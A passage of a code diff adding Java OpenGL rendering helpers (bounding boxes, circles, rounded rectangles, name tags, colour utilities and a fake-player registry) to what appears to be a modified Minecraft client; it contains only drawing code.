yaw3 = yaw; + } + + yaw3 *= -1.0F; + yaw3 = (float)((double)yaw3 * 0.017453292519943295D); + yaw += 90F; + if(yaw < 0.0F) { + yaw4 = 0.0F; + yaw4 += 360.0F - Math.abs(yaw); + } else { + yaw4 = yaw; + } + + yaw4 *= -1.0F; + yaw4 = (float)((double)yaw4 * 0.017453292519943295D); + float x1 = (float)(Math.sin(yaw1) * width + x); + float z1 = (float)(Math.cos(yaw1) * width + z); + float x2 = (float)(Math.sin(yaw2) * width + x); + float z2 = (float)(Math.cos(yaw2) * width + z); + float x3 = (float)(Math.sin(yaw3) * width + x); + float z3 = (float)(Math.cos(yaw3) * width + z); + float x4 = (float)(Math.sin(yaw4) * width + x); + float z4 = (float)(Math.cos(yaw4) * width + z); + float y1 = (float)y; + float y2 = (float)(y + height); + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + worldrenderer.begin(GL_QUADS, DefaultVertexFormats.POSITION); + worldrenderer.pos(x1, y1, z1).endVertex(); + worldrenderer.pos(x1, y2, z1).endVertex(); + worldrenderer.pos(x2, y2, z2).endVertex(); + worldrenderer.pos(x2, y1, z2).endVertex(); + worldrenderer.pos(x2, y1, z2).endVertex(); + worldrenderer.pos(x2, y2, z2).endVertex(); + worldrenderer.pos(x3, y2, z3).endVertex(); + worldrenderer.pos(x3, y1, z3).endVertex(); + worldrenderer.pos(x3, y1, z3).endVertex(); + worldrenderer.pos(x3, y2, z3).endVertex(); + worldrenderer.pos(x4, y2, z4).endVertex(); + worldrenderer.pos(x4, y1, z4).endVertex(); + worldrenderer.pos(x4, y1, z4).endVertex(); + worldrenderer.pos(x4, y2, z4).endVertex(); + worldrenderer.pos(x1, y2, z1).endVertex(); + worldrenderer.pos(x1, y1, z1).endVertex(); + worldrenderer.pos(x1, y1, z1).endVertex(); + worldrenderer.pos(x2, y1, z2).endVertex(); + worldrenderer.pos(x3, y1, z3).endVertex(); + worldrenderer.pos(x4, y1, z4).endVertex(); + worldrenderer.pos(x1, y2, z1).endVertex(); + worldrenderer.pos(x2, y2, z2).endVertex(); + worldrenderer.pos(x3, y2, z3).endVertex(); + worldrenderer.pos(x4, y2, z4).endVertex(); + tessellator.draw(); + } + + public static void drawRectBasedBorder(float x, float y, float x2, float y2, float width, int color1) { + drawRect(x - width / 2F, y - width / 2F, x2 + width / 2F, y + width / 2F, color1); + drawRect(x - width / 2F, y + width / 2F, x + width / 2F, y2 + width / 2F, color1); + drawRect(x2 - width / 2F, y + width / 2F, x2 + width / 2F, y2 + width / 2F, color1); + drawRect(x + width / 2F, y2 - width / 2F, x2 - width / 2F, y2 + width / 2F, color1); + } + + public static void regFakePlayer(EntityOtherPlayerMP mp) { + if (mp == null) return; + int entityId = mp.getEntityId(); + fakePlayers.put(entityId, mp); + } + + public static void removeFakePlayer(EntityOtherPlayerMP mp) { + if (mp == null) return; + removeFakePlayer(mp.getEntityId()); + } + + public static EntityOtherPlayerMP getFakePlayer(int id) { + return fakePlayers.get(id); + } + + public static void removeFakePlayer(int id) { + fakePlayers.remove(id); + } + // Copied directly from others client decompiled + public static void otherDrawOutlinedBoundingBox(float yaw, double x, double y, double z, double width, double height) { + width *= 1.5D; + yaw = MathHelper.wrapAngleTo180_float(yaw) + 45.0F; + float yaw1, yaw2, yaw3, yaw4; + if(yaw < 0.0F) { + yaw1 = 0.0F; + yaw1 += 360.0F - Math.abs(yaw); + } else { + yaw1 = yaw; + } + yaw1 *= -1.0F; + yaw1 = (float)(yaw1 * 0.017453292519943295D); + + yaw += 90; + if(yaw < 0.0F) { + yaw2 = 0.0F; + yaw2 += 360.0F - Math.abs(yaw); + } else { + yaw2 = yaw; + } + yaw2 *= -1.0F; + yaw2 = (float)(yaw2 * 0.017453292519943295D); + + yaw += 90F; + if(yaw < 0.0F) { + yaw3 = 0.0F; + yaw3 += 360.0F - Math.abs(yaw); + } else { + yaw3 = yaw; + } + yaw3 *= -1.0F; + yaw3 = (float)(yaw3 * 0.017453292519943295D); + + yaw += 90F; + if(yaw < 0.0F) { + yaw4 = 0.0F; + yaw4 += 360.0F - Math.abs(yaw); + } else { + yaw4 = yaw; + } + yaw4 *= -1.0F; + yaw4 = (float)(yaw4 * 0.017453292519943295D); + + float x1 = (float)(Math.sin(yaw1) * width + x); + float z1 = (float)(Math.cos(yaw1) * width + z); + float x2 = (float)(Math.sin(yaw2) * width + x); + float z2 = (float)(Math.cos(yaw2) * width + z); + float x3 = (float)(Math.sin(yaw3) * width + x); + float z3 = (float)(Math.cos(yaw3) * width + z); + float x4 = (float)(Math.sin(yaw4) * width + x); + float z4 = (float)(Math.cos(yaw4) * width + z); + float y2 = (float)(y + height); + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + worldrenderer.begin(GL_LINE_STRIP, DefaultVertexFormats.POSITION); + worldrenderer.pos(x1, y, z1).endVertex(); + worldrenderer.pos(x1, y2, z1).endVertex(); + worldrenderer.pos(x2, y2, z2).endVertex(); + worldrenderer.pos(x2, y, z2).endVertex(); + worldrenderer.pos(x1, y, z1).endVertex(); + worldrenderer.pos(x4, y, z4).endVertex(); + worldrenderer.pos(x3, y, z3).endVertex(); + worldrenderer.pos(x3, y2, z3).endVertex(); + worldrenderer.pos(x4, y2, z4).endVertex(); + worldrenderer.pos(x4, y, z4).endVertex(); + worldrenderer.pos(x4, y2, z4).endVertex(); + worldrenderer.pos(x3, y2, z3).endVertex(); + worldrenderer.pos(x2, y2, z2).endVertex(); + worldrenderer.pos(x2, y, z2).endVertex(); + worldrenderer.pos(x3, y, z3).endVertex(); + worldrenderer.pos(x4, y, z4).endVertex(); + worldrenderer.pos(x4, y2, z4).endVertex(); + worldrenderer.pos(x1, y2, z1).endVertex(); + worldrenderer.pos(x1, y, z1).endVertex(); + tessellator.draw(); + } + + public static Collection<EntityOtherPlayerMP> getFakePlayers() { + return fakePlayers.values(); + } + + public static void glColor(final int red, final int green, final int blue, final int alpha) { + GlStateManager.color(red / 255F, green / 255F, blue / 255F, alpha / 255F); + } + + public static void glColor(final Color color) { + final float red = color.getRed() / 255F; + final float green = color.getGreen() / 255F; + final float blue = color.getBlue() / 255F; + final float alpha = color.getAlpha() / 255F; + + GlStateManager.color(red, green, blue, alpha); + } + + public static void glColor(final Color color, final int alpha) { + glColor(color, alpha/255F); + } + + public static void glColor(final Color color, final float alpha) { + final float red = color.getRed() / 255F; + final float green = color.getGreen() / 255F; + final float blue = color.getBlue() / 255F; + + GlStateManager.color(red, green, blue, alpha); + } + + public static void glColor(final int hex) { + final float alpha = (hex >> 24 & 0xFF) / 255F; + final float red = (hex >> 16 & 0xFF) / 255F; + final float green = (hex >> 8 & 0xFF) / 255F; + final float blue = (hex & 0xFF) / 255F; + + GlStateManager.color(red, green, blue, alpha); + } + + public static void glColor(final int hex, final int alpha) { + final float red = (hex >> 16 & 0xFF) / 255F; + final float green = (hex >> 8 & 0xFF) / 255F; + final float blue = (hex & 0xFF) / 255F; + + GlStateManager.color(red, green, blue, alpha / 255F); + } + + public static void glColor(final int hex, final float alpha) { + final float red = (hex >> 16 & 0xFF) / 255F; + final float green = (hex >> 8 & 0xFF) / 255F; + final float blue = (hex & 0xFF) / 255F; + + GlStateManager.color(red, green, blue, alpha); + } + + public static void drawTriAngle(float cx, float cy, float r, float n, Color color, boolean polygon) { + cx *= 2.0F; + cy *= 2.0F; + double b = 6.2831852 / n; + double p = Math.cos(b); + double s = Math.sin(b); + r *= 2.0F; + double x = r; + double y = 0.0; + + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + glLineWidth(1F); + enableGlCap(GL_LINE_SMOOTH); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.resetColor(); + glColor(color); + GlStateManager.scale(0.5f, 0.5f, 0.5f); + worldrenderer.begin(polygon ? GL_POLYGON : 2, DefaultVertexFormats.POSITION); + int ii = 0; + while (ii < n) { + worldrenderer.pos(x + cx, y + cy, 0.0D).endVertex(); + double t = x; + x = p * x - s * y; + y = s * t + p * y; + ii++; + } + tessellator.draw(); + enableTexture2D(); + disableBlend(); + GlStateManager.scale(2f, 2f, 2f); + GlStateManager.color(1, 1, 1, 1); + } + + public static void drawCircle(float x, float y, float radius, float lineWidth, int start, int end, Color color) { + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ZERO); + glColor(color); + + glEnable(GL_LINE_SMOOTH); + glLineWidth(lineWidth); + glBegin(GL_LINE_STRIP); + for (float i = end; i >= start; i -= (360 / 90.0f)) { + glVertex2f((float) (x + (cos(i * PI / 180) * (radius * 1.001F))), (float) (y + (sin(i * PI / 180) * (radius * 1.001F)))); + } + glEnd(); + glDisable(GL_LINE_SMOOTH); + + enableTexture2D(); + disableBlend(); + } + + public static void drawArrow(double x, double y, int lineWidth, int color, double length) { + start2D(); + GL11.glPushMatrix(); + GL11.glLineWidth(lineWidth); + setColor(new Color(color)); + GL11.glBegin(GL_LINE_STRIP); + GL11.glVertex2d(x, y); + GL11.glVertex2d(x + 3, y + length); + GL11.glVertex2d(x + 3 * 2, y); + GL11.glEnd(); + GL11.glPopMatrix(); + stop2D(); + } + + public static void draw2D(final EntityLivingBase entity, final double posX, final double posY, final double posZ, final int color, final int backgroundColor) { + GlStateManager.pushMatrix(); + GlStateManager.translate(posX, posY, posZ); + GlStateManager.rotate(-mc.getRenderManager().playerViewY, 0F, 1F, 0F); + GlStateManager.scale(-0.1D, -0.1D, 0.1D); + + glDisable(GL_DEPTH_TEST); + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + + GlStateManager.depthMask(true); + + glColor(color); + + glCallList(DISPLAY_LISTS_2D[0]); + + glColor(backgroundColor); + + glCallList(DISPLAY_LISTS_2D[1]); + + GlStateManager.translate(0, 21 + -(entity.getEntityBoundingBox().maxY - entity.getEntityBoundingBox().minY) * 12, 0); + + glColor(color); + glCallList(DISPLAY_LISTS_2D[2]); + + glColor(backgroundColor); + glCallList(DISPLAY_LISTS_2D[3]); + + // Stop render + glEnable(GL_DEPTH_TEST); + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + + GlStateManager.popMatrix(); + } + + public static void draw2D(final BlockPos blockPos, final int color, final int backgroundColor) { + final RenderManager renderManager = mc.getRenderManager(); + + final double posX = (blockPos.getX() + 0.5) - renderManager.renderPosX; + final double posY = blockPos.getY() - renderManager.renderPosY; + final double posZ = (blockPos.getZ() + 0.5) - renderManager.renderPosZ; + + GlStateManager.pushMatrix(); + GlStateManager.translate(posX, posY, posZ); + GlStateManager.rotate(-mc.getRenderManager().playerViewY, 0F, 1F, 0F); + GlStateManager.scale(-0.1D, -0.1D, 0.1D); + + glDisable(GL_DEPTH_TEST); + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + + GlStateManager.depthMask(true); + + glColor(color); + + glCallList(DISPLAY_LISTS_2D[0]); + + glColor(backgroundColor); + + glCallList(DISPLAY_LISTS_2D[1]); + + GlStateManager.translate(0, 9, 0); + + glColor(color); + + glCallList(DISPLAY_LISTS_2D[2]); + + glColor(backgroundColor); + + glCallList(DISPLAY_LISTS_2D[3]); + + // Stop render + glEnable(GL_DEPTH_TEST); + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + + GlStateManager.popMatrix(); + } + + public static void renderNameTag(final String string, final double x, final double y, final double z) { + final RenderManager renderManager = mc.getRenderManager(); + + glPushMatrix(); + glTranslated(x - renderManager.renderPosX, y - renderManager.renderPosY, z - renderManager.renderPosZ); + glNormal3f(0F, 1F, 0F); + glRotatef(-mc.getRenderManager().playerViewY, 0F, 1F, 0F); + glRotatef(mc.getRenderManager().playerViewX, 1F, 0F, 0F); + glScalef(-0.05F, -0.05F, 0.05F); + setGlCap(GL_LIGHTING, false); + setGlCap(GL_DEPTH_TEST, false); + setGlCap(GL_BLEND, true); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + + final int width = Fonts.font35.getStringWidth(string) / 2; + + Gui.drawRect(-width - 1, -1, width + 1, Fonts.font35.FONT_HEIGHT, Integer.MIN_VALUE); + Fonts.font35.drawString(string, -width, 1.5F, Color.WHITE.getRGB(), true); + + resetCaps(); + glColor4f(1F, 1F, 1F, 1F); + glPopMatrix(); + } + + public static void makeScissorBox(final float x, final float y, final float x2, final float y2) { + makeScissorBox(x, y, x2, y2, 1); + } + + public static void makeScissorBox(final float x, final float y, final float x2, final float y2, final float scaleOffset) { + final ScaledResolution scaledResolution = StaticStorage.scaledResolution; + final float factor = scaledResolution.getScaleFactor() * scaleOffset; + glScissor((int) (x * factor), (int) ((scaledResolution.getScaledHeight() - y2) * factor), (int) ((x2 - x) * factor), (int) ((y2 - y) * factor)); + } + + public static void drawUnfilledCircle(double x, double y, float radius, float lineWidth, int color) { + GLUtil.setup2DRendering(); + color(color); + glLineWidth(lineWidth); + glEnable(GL_LINE_SMOOTH); + glBegin(GL_POINT_BIT); + + int i = 0; + while (i <= 360) { + glVertex2d(x + Math.sin((double) i * 3.141526 / 180.0) * (double) radius, y + Math.cos((double) i * 3.141526 / 180.0) * (double) radius); + ++i; + } + + glEnd(); + glDisable(GL_LINE_SMOOTH); + GLUtil.end2DRendering(); + } + + public static void resetCaps(final String scale) { + if(!glCapMap.containsKey(scale)) { + return; + } + Map<Integer, Boolean> map = glCapMap.get(scale); + map.forEach(RenderUtils::setGlState); + map.clear(); + } + + public static void resetCaps() { + resetCaps("COMMON"); + } + + public static void enableGlCap(final int cap, final String scale) { + setGlCap(cap, true, scale); + } + + public static void enableGlCap(final int cap) { + enableGlCap(cap, "COMMON"); + } + + + public static void enableGlCap(final int... caps) { + for(int cap : caps) { + setGlCap(cap, true, "COMMON"); + } + } + + public static void disableGlCap(final int... caps) { + for(int cap : caps) { + setGlCap(cap, false, "COMMON"); + } + } + + public static void setGlCap(final int cap, final boolean state, final String scale) { + if(!glCapMap.containsKey(scale)) { + glCapMap.put(scale, new HashMap<>()); + } + glCapMap.get(scale).put(cap, glGetBoolean(cap)); + setGlState(cap, state); + } + + public static void setGlCap(final int cap, final boolean state) { + setGlCap(cap, state, "COMMON"); + } + + public static void setGlState(final int cap, final boolean state) { + if (state) + glEnable(cap); + else + glDisable(cap); + } + + public static double[] convertTo2D(final double x, final double y, final double z) { + final FloatBuffer screenCoords = BufferUtils.createFloatBuffer(3); + final IntBuffer viewport = BufferUtils.createIntBuffer(16); + final FloatBuffer modelView = BufferUtils.createFloatBuffer(16); + final FloatBuffer projection = BufferUtils.createFloatBuffer(16); + GL11.glGetFloat(2982, modelView); + GL11.glGetFloat(2983, projection); + GL11.glGetInteger(2978, viewport); + final boolean result = GLU.gluProject((float) x, (float) y, (float) z, modelView, projection, viewport, + screenCoords); + return result + ? new double[] { screenCoords.get(0), Display.getHeight() - screenCoords.get(1), screenCoords.get(2) } + : null; + } + + public static void rectangle(double left, double top, double right, double bottom, int color) { + double var5; + if (left < right) { + var5 = left; + left = right; + right = var5; + } + if (top < bottom) { + var5 = top; + top = bottom; + bottom = var5; + } + float var11 = (float) (color >> 24 & 255) / 255.0f; + float var6 = (float) (color >> 16 & 255) / 255.0f; + float var7 = (float) (color >> 8 & 255) / 255.0f; + float var8 = (float) (color & 255) / 255.0f; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldRenderer = tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate( 770, 771, 1, 0); + GlStateManager.color( var6, var7, var8, var11); + worldRenderer.begin(7, DefaultVertexFormats.POSITION); + worldRenderer.pos(left, bottom, 0.0).endVertex(); + worldRenderer.pos(right, bottom, 0.0).endVertex(); + worldRenderer.pos(right, top, 0.0).endVertex(); + worldRenderer.pos(left, top, 0.0).endVertex(); + tessellator.draw(); + enableTexture2D(); + disableBlend(); + GlStateManager.color( 1.0f, 1.0f, 1.0f, 1.0f); + } + + public static void rectangleBordered(double x, double y, double x1, double y1, double width, int internalColor, + int borderColor) { + RenderUtils.rectangle(x + width, y + width, x1 - width, y1 - width, internalColor); + GlStateManager.color( 1.0f, 1.0f, 1.0f, 1.0f); + RenderUtils.rectangle(x + width, y, x1 - width, y + width, borderColor); + GlStateManager.color(1.0f, 1.0f, 1.0f, 1.0f); + RenderUtils.rectangle(x, y, x + width, y1, borderColor); + GlStateManager.color( 1.0f, 1.0f, 1.0f, 1.0f); + RenderUtils.rectangle(x1 - width, y, x1, y1, borderColor); + GlStateManager.color( 1.0f, 1.0f, 1.0f, 1.0f); + RenderUtils.rectangle(x + width, y1 - width, x1 - width, y1, borderColor); + GlStateManager.color(1.0f, 1.0f, 1.0f, 1.0f); + } + + public static void drawOutlinedBoundingBox(AxisAlignedBB aa) { + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldRenderer = tessellator.getWorldRenderer(); + worldRenderer.begin(3, DefaultVertexFormats.POSITION); + worldRenderer.pos(aa.minX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.minZ).endVertex(); + tessellator.draw(); + worldRenderer.begin(3, DefaultVertexFormats.POSITION); + worldRenderer.pos(aa.minX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.minZ).endVertex(); + tessellator.draw(); + worldRenderer.begin(1, DefaultVertexFormats.POSITION); + worldRenderer.pos(aa.minX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.maxZ).endVertex(); + tessellator.draw(); + } + + public static void drawBoundingBox(AxisAlignedBB aa) { + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldRenderer = tessellator.getWorldRenderer(); + worldRenderer.begin(7, DefaultVertexFormats.POSITION); + worldRenderer.pos(aa.minX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.maxZ).endVertex(); + tessellator.draw(); + worldRenderer.begin(7, DefaultVertexFormats.POSITION); + worldRenderer.pos(aa.maxX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.maxZ).endVertex(); + tessellator.draw(); + worldRenderer.begin(7, DefaultVertexFormats.POSITION); + worldRenderer.pos(aa.minX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.minZ).endVertex(); + tessellator.draw(); + worldRenderer.begin(7, DefaultVertexFormats.POSITION); + worldRenderer.pos(aa.minX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.minZ).endVertex(); + tessellator.draw(); + worldRenderer.begin(7, DefaultVertexFormats.POSITION); + worldRenderer.pos(aa.minX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.minZ).endVertex(); + tessellator.draw(); + worldRenderer.begin(7, DefaultVertexFormats.POSITION); + worldRenderer.pos(aa.minX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.minX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.minX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.minZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.maxY, aa.maxZ).endVertex(); + worldRenderer.pos(aa.maxX, aa.minY, aa.maxZ).endVertex(); + tessellator.draw(); + } + + public static void originalRoundedRect(float paramXStart, float paramYStart, float paramXEnd, float paramYEnd, float radius, int color) { + float alpha = (color >> 24 & 0xFF) / 255.0F; + float red = (color >> 16 & 0xFF) / 255.0F; + float green = (color >> 8 & 0xFF) / 255.0F; + float blue = (color & 0xFF) / 255.0F; + + float z; + if (paramXStart > paramXEnd) { + z = paramXStart; + paramXStart = paramXEnd; + paramXEnd = z; + } + + if (paramYStart > paramYEnd) { + z = paramYStart; + paramYStart = paramYEnd; + paramYEnd = z; + } + + double x1 = paramXStart + radius; + double y1 = paramYStart + radius; + double x2 = paramXEnd - radius; + double y2 = paramYEnd - radius; + + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(red, green, blue, alpha); + worldrenderer.begin(GL_POLYGON, DefaultVertexFormats.POSITION); + + double degree = Math.PI / 180; + for (double i = 0; i <= 90; i += 1) + worldrenderer.pos(x2 + Math.sin(i * degree) * radius, y2 + Math.cos(i * degree) * radius, 0.0D).endVertex(); + for (double i = 90; i <= 180; i += 1) + worldrenderer.pos(x2 + Math.sin(i * degree) * radius, y1 + Math.cos(i * degree) * radius, 0.0D).endVertex(); + for (double i = 180; i <= 270; i += 1) + worldrenderer.pos(x1 + Math.sin(i * degree) * radius, y1 + Math.cos(i * degree) * radius, 0.0D).endVertex(); + for (double i = 270; i <= 360; i += 1) + worldrenderer.pos(x1 + Math.sin(i * degree) * radius, y2 + Math.cos(i * degree) * radius, 0.0D).endVertex(); + + tessellator.draw(); + enableTexture2D(); + disableBlend(); + } + + public static void drawFilledCircle(final int xx, final int yy, final float radius, final Color color) { + int sections = 50; + double dAngle = 2 * Math.PI / sections; + float x, y; + + glPushAttrib(GL_ENABLE_BIT); + + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glBegin(GL_TRIANGLE_FAN); + + for (int i = 0; i < sections; i++) { + x = (float) (radius * Math.sin((i * dAngle))); + y = (float) (radius * Math.cos((i * dAngle))); + + glColor4f(color.getRed() / 255F, color.getGreen() / 255F, color.getBlue() / 255F, color.getAlpha() / 255F); + glVertex2f(xx + x, yy + y); + } + + GlStateManager.color(0, 0, 0); + + glEnd(); + + glPopAttrib(); + } + + public static void drawFilledCircle(final float xx, final float yy, final float radius, final Color color) { + int sections = 50; + double dAngle = 2 * Math.PI / sections; + float x, y; + + glPushAttrib(GL_ENABLE_BIT); + + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glBegin(GL_TRIANGLE_FAN); + + for (int i = 0; i < sections; i++) { + x = (float) (radius * Math.sin((i * dAngle))); + y = (float) (radius * Math.cos((i * dAngle))); + + glColor4f(color.getRed() / 255F, color.getGreen() / 255F, color.getBlue() / 255F, color.getAlpha() / 255F); + glVertex2f(xx + x, yy + y); + } + + GlStateManager.color(0, 0, 0); + + glEnd(); + + glPopAttrib(); + } + + public static void drawLine(final float x, final float y, final float x1, final float y1, final float width) { + glDisable(GL_TEXTURE_2D); + glLineWidth(width); + glBegin(GL_LINES); + glVertex2f(x, y); + glVertex2f(x1, y1); + glEnd(); + glEnable(GL_TEXTURE_2D); + } + + public static void drawLine(final double x, final double y, final double x1, final double y1, final float width) { + glDisable(GL_TEXTURE_2D); + glLineWidth(width); + glBegin(GL_LINES); + glVertex2d(x, y); + glVertex2d(x1, y1); + glEnd(); + glEnable(GL_TEXTURE_2D); + } + + public static void startDrawing() { + GL11.glEnable(3042); + GL11.glEnable(3042); + GL11.glBlendFunc(770, 771); + GL11.glEnable(2848); + GL11.glDisable(3553); + GL11.glDisable(2929); + Minecraft.getMinecraft().entityRenderer.setupCameraTransform(Minecraft.getMinecraft().timer.renderPartialTicks, 0); + } + + public static void stopDrawing() { + GL11.glDisable(3042); + GL11.glEnable(3553); + GL11.glDisable(2848); + GL11.glDisable(3042); + GL11.glEnable(2929); + } + + public static void drawExhiRect(float x, float y, float x2, float y2, float alpha) { + drawRect(x - 3.5F, y - 3.5F, x2 + 3.5F, y2 + 3.5F, new Color(0, 0, 0, alpha).getRGB()); + drawRect(x - 3F, y - 3F, x2 + 3F, y2 + 3F, new Color(50F / 255F, 50F / 255F, 50F / 255F, alpha).getRGB()); + drawRect(x - 2.5F, y - 2.5F, x2 + 2.5F, y2 + 2.5F, new Color(26F / 255F, 26F / 255F, 26F / 255F, alpha).getRGB()); + drawRect(x - 0.5F, y - 0.5F, x2 + 0.5F, y2 + 0.5F, new Color(50F / 255F, 50F / 255F, 50F / 255F, alpha).getRGB()); + drawRect(x, y, x2, y2, new Color(18F / 255F, 18 / 255F, 18F / 255F, alpha).getRGB()); + } + + public static void drawRoundedRect(float paramXStart, float paramYStart, float paramXEnd, float paramYEnd, float radius, int color) { + drawRoundedRect(paramXStart, paramYStart, paramXEnd, paramYEnd, radius, color, true); + } + public static void drawEntityOnScreen(final double posX, final double posY, final float scale, final EntityLivingBase entity) { + GlStateManager.pushMatrix(); + GlStateManager.enableColorMaterial(); + + GlStateManager.translate(posX, posY, 50.0); + GlStateManager.scale((-scale), scale, scale); + GlStateManager.rotate(180F, 0F, 0F, 1F); + GlStateManager.rotate(135F, 0F, 1F, 0F); + RenderHelper.enableStandardItemLighting(); + GlStateManager.rotate(-135F, 0F, 1F, 0F); + GlStateManager.translate(0.0, 0.0, 0.0); + + RenderManager rendermanager = mc.getRenderManager(); + rendermanager.setPlayerViewY(180F); + rendermanager.setRenderShadow(false); + rendermanager.renderEntityWithPosYaw(entity, 0.0, 0.0, 0.0, 0F, 1F); + rendermanager.setRenderShadow(true); + + GlStateManager.popMatrix(); + RenderHelper.disableStandardItemLighting(); + GlStateManager.disableRescaleNormal(); + GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit); + GlStateManager.disableTexture2D(); + GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit); + } + + public static void drawEntityOnScreen(final int posX, final int posY, final int scale, final EntityLivingBase entity) { + drawEntityOnScreen(posX, posY, (float) scale, entity); + } + + public static void drawScaledCustomSizeModalRect(int x, int y, float u, float v, int uWidth, int vHeight, int width, int height, float tileWidth, float tileHeight) { + float f = 1.0F / tileWidth; + float f1 = 1.0F / tileHeight; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = 